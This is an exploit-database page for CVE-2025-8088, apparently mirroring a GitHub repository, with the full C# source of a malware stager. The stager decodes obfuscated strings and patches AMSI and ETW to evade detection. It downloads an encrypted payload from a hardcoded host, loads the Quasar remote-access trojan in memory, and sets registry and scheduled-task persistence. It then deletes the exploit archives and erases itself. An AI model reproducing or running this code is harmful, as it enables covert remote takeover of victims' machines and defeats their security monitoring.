Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files149
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- Plan.md
- STAGE06_FINAL_REPORT.md
- baseline2.py
- baseline3.py
- baseline_capture.py
- baseline_test.py
- bl_final.py
- build_quasar.ps1
- build_quasar_client.bat
- build_vm.py
- build_vm2.py
- capture_and_parse.py
- check_owner.py
- check_session.py
- check_session2.py
- check_vm.py
- check_vm2.py
- check_vm3.py
- check_vm_tools.py
- clean_full_test.py
- debug_baseline.py
- debug_ps1.py
- debug_stager.cs
- debug_stager.exe
- debug_stager.py
- debug_stager_test.exe
- debug_test2.exe
- decrypt_strings.py
- deploy_sysmon.py
- deploy_test.py
- deploy_test2.py
- diag.cs
- diag_amsi.cs
- diag_amsi.exe
- diag_amsi_new.exe
- diag_ntdll.cs
- diag_ntdll.exe
- diag_ntdll2.cs
- diag_ntdll2.exe
- diag_vm.py
- diag_vm2.py
- download_log.py
- dump_syscall.py
- dumper.cs
- etw_check.py
- fetch_log.py
- fix_and_test.py
- fix_vm.py
- force_kill.py
- gen_xor.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Stage06/test_r1.cs
C# · 12,488 bytesusing System;
using System.Linq;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using Microsoft.Win32;
class Stager
{
static byte[] KEY = new byte[] { 0xF, 0x3B, 0x7A, 0x1D, 0x9E, 0x4C, 0x6F, 0x2A, 0x8B, 0x3D, 0x5E, 0x7C, 0x1F, 0x9A, 0xB, 0x2D };
static byte[] IV = new byte[] { 0x4A, 0x1C, 0x6E, 0x2D, 0x8F, 0xB, 0x3A, 0x5C, 0x7E, 0x9D, 0x2F, 0x1B, 0x4A, 0x6C, 0x8E, 0xD };
static int PORT = 8080;
// ── Win32 API ──
[DllImport("kernel32")] static extern IntPtr GetModuleHandle(string m);
[DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32")] static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint p, out uint o);
[DllImport("kernel32")] static extern IntPtr LoadLibrary(string p);
// ── WinHTTP ──
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern IntPtr WinHttpOpen(IntPtr ua, uint at, string pb, string pb2, uint f);
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern IntPtr WinHttpConnect(IntPtr s, string sn, ushort p, uint r);
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern IntPtr WinHttpOpenRequest(IntPtr c, string v, string o, string ver, string r, string[] t, uint f);
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern bool WinHttpSendRequest(IntPtr r, string h, uint hl, IntPtr o, uint ol, uint tl, IntPtr c);
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern bool WinHttpReceiveResponse(IntPtr r, IntPtr _);
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern bool WinHttpQueryDataAvailable(IntPtr r, out uint a);
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern bool WinHttpReadData(IntPtr r, byte[] b, uint s, out uint x);
[DllImport("winhttp", CharSet = CharSet.Auto)]
static extern bool WinHttpCloseHandle(IntPtr h);
const uint WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0;
const uint WINHTTP_FLAG_REFRESH = 0x100;
const string WINHTTP_NO_REFERER = null;
const string WINHTTP_DEFAULT_ACCEPT_TYPES = null;
const uint MOVEFILE_DELAY_UNTIL_REBOOT = 4;
[DllImport("kernel32", CharSet = CharSet.Auto)]
static extern bool MoveFileEx(string src, string dst, uint flags);
static string S(byte[] x)
{
char[] c = new char[x.Length];
for (int i = 0; i < x.Length; i++) c[i] = (char)(x[i] ^ 0xAA);
return new string(c);
}
static byte[] _A = new byte[] {0xCB,0xC7,0xD9,0xC3,0x84,0xCE,0xC6,0xC6};
static byte[] _B = new byte[] {0xEB,0xC7,0xD9,0xC3,0xF9,0xC9,0xCB,0xC4,0xE8,0xDF,0xCC,0xCC,0xCF,0xD8};
static byte[] _C = new byte[] {0xC4,0xDE,0xCE,0xC6,0xC6,0x84,0xCE,0xC6,0xC6};
static byte[] _D = new byte[] {0xEF,0xDE,0xDD,0xEF,0xDC,0xCF,0xC4,0xDE,0xFD,0xD8,0xC3,0xDE,0xCF};
static byte[] _E = new byte[] {0xFB,0xDF,0xCB,0xD9,0xCB,0xD8,0x84,0xE9,0xC6,0xC3,0xCF,0xC4,0xDE,0x84,0xFB,0xDF,0xCB,0xD9,0xCB,0xD8,0xEB,0xDA,0xDA,0xC6,0xC3,0xC9,0xCB,0xDE,0xC3,0xC5,0xC4};
static byte[] _F = new byte[] {0xE9,0xC6,0xC3,0xCF,0xC4,0xDE,0x84,0xCF,0xD2,0xCF};
static byte[] _G = new byte[] {0xF8,0xDF,0xC4};
static byte[] _H = new byte[] {0xDA,0xC5,0xDD,0xCF,0xD8,0xD9,0xC2,0xCF,0xC6,0xC6,0x84,0xCF,0xD2,0xCF,0x8A,0x87,0xFD,0xC3,0xC4,0xCE,0xC5,0xDD,0xF9,0xDE,0xD3,0xC6,0xCF,0x8A,0xE2,0xC3,0xCE,0xCE,0xCF,0xC4,0x8A,0x87,0xEF,0xD2,0xCF,0xC9,0xDF,0xDE,0xC3,0xC5,0xC4,0xFA,0xC5,0xC6,0xC3,0xC9,0xD3,0x8A,0xE8,0xD3,0xDA,0xCB,0xD9,0xD9,0x8A,0x87,0xEC,0xC3,0xC6,0xCF,0x8A,0xE9,0x90,0xF6,0xFD,0xC3,0xC4,0xCE,0xC5,0xDD,0xD9,0xF6,0xFE,0xCF,0xC7,0xDA,0xF6,0xC6,0xCE,0xD8,0xF5,0xC5,0xC8,0xCC,0x84,0xDA,0xD9,0x9B};
static byte[] _I = new byte[] {0xD9,0xC9,0xC2,0xDE,0xCB,0xD9,0xC1,0xD9,0x84,0xCF,0xD2,0xCF};
static byte[] _J = new byte[] {0xFD,0xC3,0xC4,0xFF,0xDA,0xCE,0xCB,0xDE,0xCF};
static byte[] _K = new byte[] {0xF9,0xC5,0xCC,0xDE,0xDD,0xCB,0xD8,0xCF,0xF6,0xE7,0xC3,0xC9,0xD8,0xC5,0xD9,0xC5,0xCC,0xDE,0xF6,0xFD,0xC3,0xC4,0xCE,0xC5,0xDD,0xD9,0xF6,0xE9,0xDF,0xD8,0xD8,0xCF,0xC4,0xDE,0xFC,0xCF,0xD8,0xD9,0xC3,0xC5,0xC4,0xF6,0xF8,0xDF,0xC4};
static byte[] _L = new byte[] {0x9B,0x93,0x98,0x84,0x9B,0x9C,0x92,0x84,0x99,0x9A,0x84,0x9B};
static byte[] _M = new byte[] {0x85,0xC9,0xC6,0xC3,0xCF,0xC4,0xDE,0x84,0xCF,0xC4,0xC9};
// ── DInvoke helpers added ──
static ushort Read16(IntPtr addr) { return (ushort)Marshal.ReadInt16(addr); }
static int Read32(IntPtr addr) { return Marshal.ReadInt32(addr); }
static string ReadStr(IntPtr addr, int max)
{
byte[] b = new byte[max];
Marshal.Copy(addr, b, 0, max);
int len = 0; while (len < max && b[len] != 0) len++;
return System.Text.Encoding.ASCII.GetString(b, 0, len);
}
static IntPtr FindModule(string name)
{
var modules = System.Diagnostics.Process.GetCurrentProcess().Modules;
foreach (System.Diagnostics.ProcessModule m in modules)
if (m.ModuleName.Equals(name, StringComparison.OrdinalIgnoreCase))
return m.BaseAddress;
return IntPtr.Zero;
}
static IntPtr GetExportByName(IntPtr modBase, string name)
{
if (Read16(modBase) != 0x5A4D) return IntPtr.Zero;
int e_lfanew = Read32(modBase + 0x3C);
if (e_lfanew <= 0) return IntPtr.Zero;
IntPtr ntHeaders = modBase + e_lfanew;
int exportRVA = Read32(ntHeaders + 0x78 + 16);
if (exportRVA == 0) return IntPtr.Zero;
IntPtr expDir = modBase + exportRVA;
int numNames = Read32(expDir + 24);
int funcAddr = Read32(expDir + 28);
int nameAddr = Read32(expDir + 32);
int ordAddr = Read32(expDir + 36);
IntPtr nameArray = modBase + nameAddr;
for (int i = 0; i < numNames; i++)
{
int rva = Read32(nameArray + i * 4);
string n = ReadStr(modBase + rva, name.Length + 2);
if (n.Equals(name, StringComparison.OrdinalIgnoreCase))
{
int ord = Read16(modBase + ordAddr + i * 2);
int fnRVA = Read32(modBase + funcAddr + ord * 4);
return modBase + fnRVA;
}
}
return IntPtr.Zero;
}
static void Log(string msg)
{
try { File.AppendAllText(@"C:\Windows\Temp\dinvoke_debug.txt", msg + "\n", Encoding.UTF8); } catch { }
}
static void Main()
{
Log("START_VERBOSE");
try
{
PatchAmsi();
PatchEtw();
Log("Patches done");
byte[] enc = Download();
Log("Download: " + (enc != null ? enc.Length.ToString() : "null") + " bytes");
byte[] bundle = Decrypt(enc);
Log("Decrypt: " + (bundle != null ? bundle.Length.ToString() : "null") + " bytes");
Assembly main = LoadBundle(bundle);
Log("LoadBundle: " + (main != null ? main.FullName : "NULL"));
if (main != null)
{
SetupPersistence();
Cleanup();
Log("Calling RunQuasar");
RunQuasar(main);
}
SelfDelete();
}
catch (Exception ex)
{
Log("FATAL: " + ex.GetType().Name + ": " + ex.Message);
}
}
static void SetupPersistence()
{
try
{
string cmd = S(_H);
using (var rk = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(S(_K), true))
{
if (rk != null)
rk.SetValue(S(_J), cmd);
}
var psi = new System.Diagnostics.ProcessStartInfo(S(_I),
"/create /tn " + S(_J) + " /tr \"" + cmd + "\" /sc onlogon /f")
{ WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden, CreateNoWindow = true };
var p = System.Diagnostics.Process.Start(psi);
p.WaitForExit(5000);
}
catch { }
}
static void Cleanup()
{
try { File.Delete(@"C:\Windows\Temp\exploit_final.rar"); } catch { }
try { File.Delete(@"C:\Windows\Temp\build_attack.rar"); } catch { }
}
static void PatchAmsi()
{
IntPtr h = GetModuleHandle(S(_A));
if (h == IntPtr.Zero) h = LoadLibrary(S(_A));
if (h == IntPtr.Zero) return;
IntPtr addr = GetProcAddress(h, S(_B));
if (addr == IntPtr.Zero) return;
uint old;
VirtualProtect(addr, (UIntPtr)1, 0x40, out old);
Marshal.WriteByte(addr, 0xC3);
VirtualProtect(addr, (UIntPtr)1, old, out old);
}
static void PatchEtw()
{
IntPtr h = GetModuleHandle(S(_C));
if (h == IntPtr.Zero) return;
IntPtr addr = GetProcAddress(h, S(_D));
if (addr == IntPtr.Zero) return;
uint old;
VirtualProtect(addr, (UIntPtr)1, 0x40, out old);
Marshal.WriteByte(addr, 0xC3);
VirtualProtect(addr, (UIntPtr)1, old, out old);
}
static byte[] Download()
{
IntPtr session = WinHttpOpen((IntPtr)0, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, null, null, 0);
IntPtr connect = WinHttpConnect(session, S(_L), (ushort)PORT, 0);
IntPtr request = WinHttpOpenRequest(connect, "GET", S(_M), null, WINHTTP_NO_REFERER, null, WINHTTP_FLAG_REFRESH);
WinHttpSendRequest(request, null, 0, IntPtr.Zero, 0, 0, IntPtr.Zero);
WinHttpReceiveResponse(request, IntPtr.Zero);
using (var ms = new MemoryStream())
{
byte[] buf = new byte[8192];
uint avail, read;
while (true)
{
if (!WinHttpQueryDataAvailable(request, out avail) || avail == 0)
break;
if (avail > buf.Length) buf = new byte[avail];
WinHttpReadData(request, buf, avail, out read);
if (read == 0) break;
ms.Write(buf, 0, (int)read);
}
WinHttpCloseHandle(request);
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return ms.ToArray();
}
}
static byte[] Decrypt(byte[] data)
{
using (var aes = Aes.Create())
{
aes.Key = KEY;
aes.IV = IV;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
using (var dec = aes.CreateDecryptor())
using (var ms = new MemoryStream(data))
using (var cs = new CryptoStream(ms, dec, CryptoStreamMode.Read))
using (var outMs = new MemoryStream())
{
cs.CopyTo(outMs);
return outMs.ToArray();
}
}
}
static Assembly LoadBundle(byte[] bundle)
{
AppDomain.CurrentDomain.AssemblyResolve += (s, a) =>
{
Log("AssemblyResolve: " + a.Name);
return AppDomain.CurrentDomain.GetAssemblies()
.FirstOrDefault(asm => asm.FullName == a.Name);
};
Assembly main = null;
int pos = 0;
while (pos + 8 <= bundle.Length)
{
uint nlen = BitConverter.ToUInt32(bundle, pos); pos += 4;
string name = Encoding.UTF8.GetString(bundle, pos, (int)nlen); pos += (int)nlen;
uint dlen = BitConverter.ToUInt32(bundle, pos); pos += 4;
byte[] data = new byte[dlen];
Buffer.BlockCopy(bundle, pos, data, 0, (int)dlen); pos += (int)dlen;
Log("Loading: " + name + " (" + dlen + " bytes)");
try
{
Assembly asm = Assembly.Load(data);
Log("Loaded: " + asm.FullName);
Array.Clear(data, 0, Math.Min(0x100, data.Length));
if (name.Equals(S(_F), StringComparison.OrdinalIgnoreCase))
main = asm;
}
catch (Exception ex)
{
Log("Load FAILED for " + name + ": " + ex.GetType().Name + ": " + ex.Message);
throw;
}
}
Array.Clear(bundle, 0, bundle.Length);
return main;
}
static void RunQuasar(Assembly asm)
{
object app = asm.CreateInstance(S(_E));
if (app == null) return;
app.GetType().GetMethod(S(_G)).Invoke(app, null);
}
static void SelfDelete()
{
string path = Assembly.GetEntryAssembly().Location;
MoveFileEx(path, null, MOVEFILE_DELAY_UNTIL_REBOOT);
}
}